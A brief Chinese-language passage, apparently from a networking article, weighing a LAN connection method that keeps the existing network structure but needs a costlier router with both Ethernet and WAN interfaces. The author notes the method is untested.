优点是设置最为便利,只要保持原有的局域网结构即可;但缺点是成本较高,需要配置一台具有双网路由功能的路由器,该路由器必须同时拥有以太网口和广域网接口。这一方式由于条件所限,笔者没有实验加以证实,有条件的读者不妨一试。